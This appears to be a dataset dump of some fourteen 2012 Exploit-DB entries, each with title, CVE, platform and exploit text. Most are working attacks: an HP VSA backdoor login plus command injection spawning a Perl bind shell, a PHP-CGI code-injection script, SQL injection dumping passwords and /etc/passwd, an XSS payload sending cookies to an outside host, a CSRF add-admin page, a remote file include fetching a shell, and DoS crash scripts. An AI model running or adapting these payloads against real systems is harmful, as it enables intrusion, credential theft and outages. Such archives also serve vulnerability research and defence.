QLWD/code_shield huggingface dataset:
标题: HP VSA - Remote Command Execution EDB-ID: 18893 CVE: 2012-4362 2012-4361 2012-2986 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-17 漏洞利用脚本: #!/usr/bin/python

''' ==================================
          Pseudo documentation 
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Grégoire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
          Target information
================================== '''

HOST = '192.168.201.11' # The remote host
PORT = 13838  # The hydra port

''' ==================================
             Imports 
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
        Define functions
================================== '''

# Some nice formatting
def zprint(str):
 print '[=] ' + str

# Define packets
def send_Exec():
 zprint('Send Exec')
 
 # RESTRICTIONS
 # You can't use "/" in the payload
 # No Netcat/Ruby/PHP, but telnet/bash/perl are available

 # METASPLOIT PAYLOAD
 cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

 # COMMAND INJECTION BUG
 data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

 # EXPLOIT
 zprint('Now connect to port 12345 of machine ' + str(HOST))
 send_packet(data)

def send_Login():
 zprint('Send Login')
 data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
 send_packet(data)

# Define the sending function
def send_packet(message):

 # Add header
 ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
 ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
 message = message + '\x00'
 data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

 # Send & receive
 s.send(data)
 data = s.recv(1024)
 zprint('Received : [' + data + ']')

''' ==================================
           Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit') URL: https://www.exploit-db.com/exploits/18893
标题: Galette - 'picture.php' SQL Injection EDB-ID: 18875 CVE: 2012-2338 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/53463/info

Galette is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Versions prior to Galette 0.7.x are vulnerable.

Attackers can use a browser to exploit this issue. 

The following example URIs are available. 

http://server/picture.php?id_adh=0+and+1=0+union+select+@@version,null 

http://server/picture.php?id_adh=0+and+1=0+union+select+group_concat(table_name,char(10)),null+from+information_schema.tables URL: https://www.exploit-db.com/exploits/18875
标题: Sockso 1.51 - Persistent Cross-Site Scripting EDB-ID: 18868 CVE: 2012-4267 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-12 漏洞利用脚本: #######################################################################

Application:     Sockso 
                 http://sockso.pu-gh.com
Versions:        <= 1.5
Platforms:       Windows, Mac, Linux
Bug:             Persistant XSS
Exploitation:    remote
Date:            11 May 2012.
Author:          Ciaran McNally
Web:             http://smwyg.com/blog/#sockso-persistant-xss-attack

Google Dork:     inurl:"4444" sockso

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Sockso is a free, open-source, personal music host server for
everyone! It's designed to be as simple as possible so that anyone with
a mouse and some mp3's can get their friends listening to their music
across the internet in seconds!"
#######################################################################

======
1) Bug
======

On Registration page (normally @ "4444/user/register") the username 
input is never sanitized. This is then stored in the database of users 
and displayed in the admin panel & user pages.

#######################################################################

==============
2) The exploit
==============

Using a username value of...

<script>alert('xss');</script>

Or the admin cookie session can also be retrieved by using...

<script >new Image().src="bleh.com/xss.php?c="+encodeURI(document.cookie)</script>


#######################################################################

======
3) Fix
======

https://github.com/rodnaph/sockso/pull/99/files


####################################################################### URL: https://www.exploit-db.com/exploits/18868
标题: Asterisk - 'ast_parse_digest()' Stack Buffer Overflow (PoC) EDB-ID: 18855 CVE: 2012-1184 类型: DOS 平台: LINUX 发布日期: 2012-03-15 漏洞利用脚本: ===========================
 Description
===========================

There is a remotely exploitable stack buffer overflow in HTTP digest
authentication handling in Asterisk. This vulnerability includes the
possibility of code execution with plenty of stack space for inserting
custom code to run. I wrote an example exploit to verify that the
vulnerability and confirmed it against the latest code in the 1.8
branch.

The offending code is in main/utils.c, ast_parse_digest().

Note that the only user of ast_parse_digest appears to be HTTP AMI. 
chan_sip has its own method to parse digests that does not appear to have this vulnerability.

===========================
 POC
===========================

$ curl -v http://localhost:8080/amxml -H "Authorization: Digest
asdfaaaaaaaaaaaaaaaaaaaaaasdddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdfaaaaaaaaaaaaaaaaaaaaaasdddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

===========================
 References
===========================

https://issues.asterisk.org/jira/browse/ASTERISK-19542 URL: https://www.exploit-db.com/exploits/18855
标题: X7 Chat 2.0.5.1 - Cross-Site Request Forgery (Add Admin) EDB-ID: 18850 CVE: 2012-6047 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-09 漏洞利用脚本: # Exploit Title: X7 Chat 2.0.5.1 CSRF Add Admin Exploit
# Google Dork: intitle:"Chat Room" "Powered By X7 Chat 2.0.5"
# Date: 09.05.2012
# Author: DennSpec
# Software Link: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip
# Version: <= 2.0.5.1

firstly, register and give a username.

(frame.html in path of your main html page)

<html>
    <body onload="document.xform.submit();">
        <form name="xform" action="http://xxxxxxxxx.com/x7path/index.php?act=adminpanel&cp_page=users&update=YOURUSERNAME" method="post">
            <input type="hidden" name="username" value="YOURUSERNAME" />
            <input type="hidden" name="usergroup" value="Administrator" />
        </form>
    </body>
</html>

Replace http://xxxxxxxxx.com/x7path/ to your target url. Dont forget replace YOURUSERNAME to YOURUSERNAME.

add this code to inside body tag of main html page:
<iframe style="display:none;" src="frame.html"></iframe>

and... upload main page and frame.html . Send main page url to any administrator. URL: https://www.exploit-db.com/exploits/18850
标题: PHP Agenda 2.2.8 - SQL Injection EDB-ID: 18845 CVE: 2012-2925 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-07 漏洞利用脚本: # Title:Simple PHP Agenda 2.2.8 SQLi Vulnerability
# Version: php-agenda 2.2.8
# Author/Found by: loneferret
# Manifacturer/Software link: http://sourceforge.net/projects/php-agenda/files/latest/download
# Other vulnerability: http://www.exploit-db.com/exploits/18694/

# Date found: May 7th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23

# Vulnerability:
# Due to improper input sanitization, the "priority" field when creating and adding an 
# item in the "todo list" is subject to SQL injection. 

# Severity:
# Well if anyone actually uses this, I suppose it would be high. But if you're like me
# and still use paper you should be safe.

# As always you can have as much fun with this...

Method: POST
Parameter: priority
Page: /engine.php
Payload: action=addTodo&priority=[SQLi]&text=Destcription&newTODO=Add todo item

PoC:
We need to bleed in the text field to be able to display anything interesting.
As the priority is only a "tinyint(4)". Text field is "text" so it can handle
a bit more data.

# mysql> describe todo;
# +----------+------------+------+-----+---------+----------------+
# | Field    | Type       | Null | Key | Default | Extra          |
# +----------+------------+------+-----+---------+----------------+
# | id       | int(11)    | NO   | PRI | NULL    | auto_increment | 
# | user_id  | int(11)    | NO   | MUL | 0       |                | 
# | priority | tinyint(4) | NO   |     | 0       |                | 
# | text     | text       | NO   |     | NULL    |                | 
# | added    | int(11)    | NO   |     | 0       |                | 
# | status   | tinyint(4) | NO   |     | 0       |                | 
# | closed   | int(11)    | NO   |     | 0       |                | 
# +----------+------------+------+-----+---------+----------------+

# So when pressing the "Add todo item" essentially issues this command to mysql:
# insert into todo (`user_id`,`priority`,`text`,`added`) values(1,4,'hello',1336438388)

Get first username and password (usually admin):
POSTDATA=action=addTODO&priority=1,(select concat(username,0x3c,0x62,0x72,0x3e,password) from users limit 1),1336389812)#&text=hello&newTODO=Add+todo+item

Get Database name:
POSTDATA=action=addTODO&priority=1,(select database()),1336389812)#&text=hello&newTODO=Add+todo+item

If mysql can do it, load /etc/passwd:
POSTDATA=action=addTODO&priority=4,(SELECT load_file(0x2f6574632f706173737764)),1336389812)#&text=hello&newTODO=Add+todo+item


# Nods to Exploit-DB, Offensive-Security for pretty much everything.
# URL: https://www.exploit-db.com/exploits/18845
标题: Guitar Pro 6.1.1 r10791 - '.gpx' Crash (PoC) EDB-ID: 18851 CVE: 2012-6048 类型: DOS 平台: WINDOWS 发布日期: 2012-05-09 漏洞利用脚本: #!/usr/bin/python

# ---------------------------------------------------------
# Guitar Pro 6.1.1 r10791 (.gpx) Crash POC
# found by condis
# 
# Date      : 01 May 2012 AD
# Tested on : Windows XP Professional SP3 PL
#
# Description :
#
# Each load of malformated file into the program ends up 
# with crash, but place of crash and registers values 
# differ every time o_O"
#  
# In my opinion, this bug does not allow for anything else 
# except getting to a DoS situation, therefore no further 
# research was done.
# ---------------------------------------------------------

evil  = "BCFZ\x04\x10\x01\x00"
evil += "A" * 953

file = open('ogonek_and_cooh_-_not_my_type.gpx', 'w')
file.write(evil)
file.close()

print "Sex, drugs & drum'n'bass!" URL: https://www.exploit-db.com/exploits/18851
标题: Belkin N150 Wireless Router - Password Disclosure EDB-ID: 18859 CVE: 2012-2765 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-05-11 漏洞利用脚本: ============================================
Belkin N150 Wireless MD5 Password Disclosure
============================================


Firmware Version :  1.00.22 (Aug 31 2010 14:36:01)
Boot Version     :  1.20 
Hardware         :  F7D1301 v1 (01A) 
Author           :  Avinash Tangirala

======================
Vulnerability Details:
======================

The Router's web interface on default 192.168.2.1 reveals the administrator password in MD5 hash thereby one can bypass the login completely.
There is a similar exploit for Belkin G wireless router by aodrulez. Therefore this exploit might* work possibly on every Belkin router created :D.

=========
Exploit :
=========
 
#/usr/bin/perl
use strict; 
use LWP::Simple;
print "\n  'Belkin N150 Wireless Router' Admin Exploit ";
print "\n ---------------------------------------------\n\n";
print "[+] Enter the Router's IP Address : ";
my $ip=<STDIN>;
chomp($ip);
$ip=get("http://".$ip."/login.stm") or die "\n[!] check ip and try again \n";
my @arr=$ip =~ m/var password = "(.*)";/g;
print "[+] Admin Password = ".@arr[0]." (MD5 Hash).\n";


==========
Greetz to:
==========

1.) Aodrulez  :  My Mentor 
2.) Arkz
3.) neurotoxIN
4.) www.codeeleven.in URL: https://www.exploit-db.com/exploits/18859
标题: eLearning server 4g - Multiple Vulnerabilities EDB-ID: 18858 CVE: 2012-2924 2012-2923 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-10 漏洞利用脚本: # Exploit Title: eLearning Server Multiple Remote Vulnerabilities
# Google Dork: intitle:"eLearning Server"
# Date: 10.05.2012
# Author: Eugene Salov, Andrey Komarov (Group-IB, http://group-ib.ru)
# Software Link: http://www.hypermethod.ru/
# Version: 4G
# Tested on: Microsoft Windows

news.php4 "nid" SQL injection:
POC:
/news.php4?nid=-12'+union+select+1,2,LOAD_FILE('C:\\Program%20Files\\Hypermethod\\eLearningServer\\index.php'),4,5,6,7,8,9,10,11/*

admin/setup.inc.php Remote file Include
POC: /admin/setup.inc.php?path=http://group-ib.ru/shell.txt? URL: https://www.exploit-db.com/exploits/18858
标题: PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection EDB-ID: 18836 CVE: 2012-2336 2012-2311 2012-1823 类型: REMOTE 平台: PHP 发布日期: 2012-05-05 漏洞利用脚本: ######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)
               
if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1) URL: https://www.exploit-db.com/exploits/18836
标题: PluXml 5.1.5 - Local File Inclusion EDB-ID: 18828 CVE: 2012-2227 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-03 漏洞利用脚本: Advisory ID: HTB23086
Product: PluXml
Vendor: pluxml.org
Vulnerable Version(s): 5.1.5 and probably prior
Tested Version: 5.1.5
Vendor Notification: 11 April 2012 
Vendor Patch: 16 April 2012 
Public Disclosure: 2 May 2012 
Vulnerability Type: Local File Inclusion
CVE Reference(s): CVE-2012-2227
Solution Status: Fixed by Vendor
Risk Level: High 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabiliy in PluXml, which can be exploited to perform Local File Inclusion attacks.


1) Local File Inclusion in PluXml

1.1 Input passed via the "default_lang" POST parameter to /update/index.php is not properly verified before being used in include_once() function and can be exploited to include arbitrary local files.
This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.

The following PoC (Proof of Concept) demonstrates the vulnerability:


POST /update/index.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]

default_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to PluXml 5.1.6

More Information:
http://www.pluxml.org/article59/sortie-de-pluxml-5-1-6
http://telechargements.pluxml.org/changelog

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23086 - https://www.htbridge.com/advisory/HTB23086 - Local File Inclusion in PluXml.
[2] PluXml - http://www.pluxml.org - PluXml is a script to create a site or a blog.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. URL: https://www.exploit-db.com/exploits/18828
标题: Symantec pcAnywhere - Insecure File Permissions Privilege Escalation EDB-ID: 18823 CVE: 2011-3479 类型: LOCAL 平台: WINDOWS 发布日期: 2012-05-02 漏洞利用脚本: ======= 
Summary 
======= 
Name: Symantec pcAnywhere insecure file permissions local privilege escalation 
Release Date: 30 April 2012 
Reference: NGS00117 
Discoverer: Edward Torkington <edward.torkington@ngssecure.com> 
Vendor: Symantec 
Vendor Reference: 
Systems Affected: 

Symantec pcAnywhere 12.5.x 
IT Management Suite 7.0 pcAnywhere Solution 12.5.x 
IT Management Suite 7.1 pcAnywhere Solution 12.6.x 

Risk: High 
Status: Fixed 

======== 
TimeLine 
======== 
Discovered: 23 August 2011 
Released: 14 September 2011 
Approved: 14 September 2011 
Reported: 23 August 2011 
Fixed: 24 January 2012 
Published: 30 April 2012 

=========== 
Description 
=========== 

Inadequate file permissions on application binaries could result on local privilege escalation 

================= 
Technical Details 
================= 
A number of key files in the C:\Program Files\Symantec\pcAnywhere\ folder are writable by any user: 

C:\Program Files\Symantec\pcAnywhere\WinAw32.exe Everyone:(OI)(CI)F 
                                                NT 
AUTHORITY\SYSTEM:(OI)(CI)F 

C:\Program Files\Symantec\pcAnywhere\awrem32.exe Everyone:(OI)(CI)F 
                                                NT 
AUTHORITY\SYSTEM:(OI)(CI)F 

C:\Program Files\Symantec\pcAnywhere\awhost32.exe Everyone:(OI)(CI)F 
                                                 NT 
AUTHORITY\SYSTEM:(OI)(CI)F 

It is trivial to replace these .exe (including the main pcanywhere exe, winaw32.exe with a malicious binary). When launched by the admin, privilege escalation would be gained. The awhost32.exe is set as a service under some scenarios (SYSTEM) and allows a user to privilege escalate by overwriting this binary. 

=============== 
Fix Information 
=============== 

An updated version of the software has been released to address these vulnerabilities: 
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security
_advisory&pvid=security_advisory&year=2012&suid=20120124_00 URL: https://www.exploit-db.com/exploits/18823
标题: LAN Messenger 1.2.28 - Denial of Service EDB-ID: 18816 CVE: 2012-3845 类型: DOS 平台: WINDOWS 发布日期: 2012-05-01 漏洞利用脚本: #!/usr/bin/python
 
# Exploit Title: LAN Messenger <= v1.2.28 Remote Denial of Service Vulnerability
# Version:       <= v1.2.28
# Date:          2012-04-28
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://lanmsngr.sourceforge.net/
# Tested on:     Windows XP SP3 Professional German, Windows 2008R2 SP1 German
# Notes:         Under WinXP the app needs 8190 Bytes to crash
# Howto:         -

from struct import pack
import socket,sys
import os

target="192.168.0.1"
port=50000

junk = "\x41" * 8190 

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[*] Connected to " + target + "!"
except:
    print "[!] " + target + " didn't respond\n"
    sys.exit(0)

print "[*] Sending malformed request..."
s.send("\x4d\x53\x47" + junk)

print "[!] Exploit has been sent!\n"
s.close() URL: https://www.exploit-db.com/exploits/18816
标题: Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Vulnerabilities EDB-ID: 18800 CVE: 2012-3835 2012-3834 2012-2599 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-29 漏洞利用脚本: #####################################################################################
# Advisory: Alienvault OSSIM Open Source SIEM 3.1 Multiple security vulnerabilities
# Advisory ID: SSCHADV-EDB-2012-001
# Contact: sschurtz@darksecurity.de
# Author: Stefan Schurtz
# Affected Software: Successfully tested on Alienvault Open Source SIEM 3.1 (32bit)
# Vendor URL: http://www.alienvault.com/
# Vendor Status: informed
#####################################################################################

==========================
Vulnerability Description
==========================

Alienvault OSSIM Open Source SIEM 3.1 is prone to XSS and SQL-Injection vulnerabilities

==================
PoC-Exploit
==================

#### SQL-Injection //Authentication is needed ####
https://[target]/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=1=1) LIMIT 1--+&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics

#### XSS ####
https://[target]/ossim/top.php?option=3&soption=3&url='"</script><script>alert(document.cookie)</script>

#### XSS ####
https://[target]/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=<script>alert(document.cookie)</script>&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics URL: https://www.exploit-db.com/exploits/18800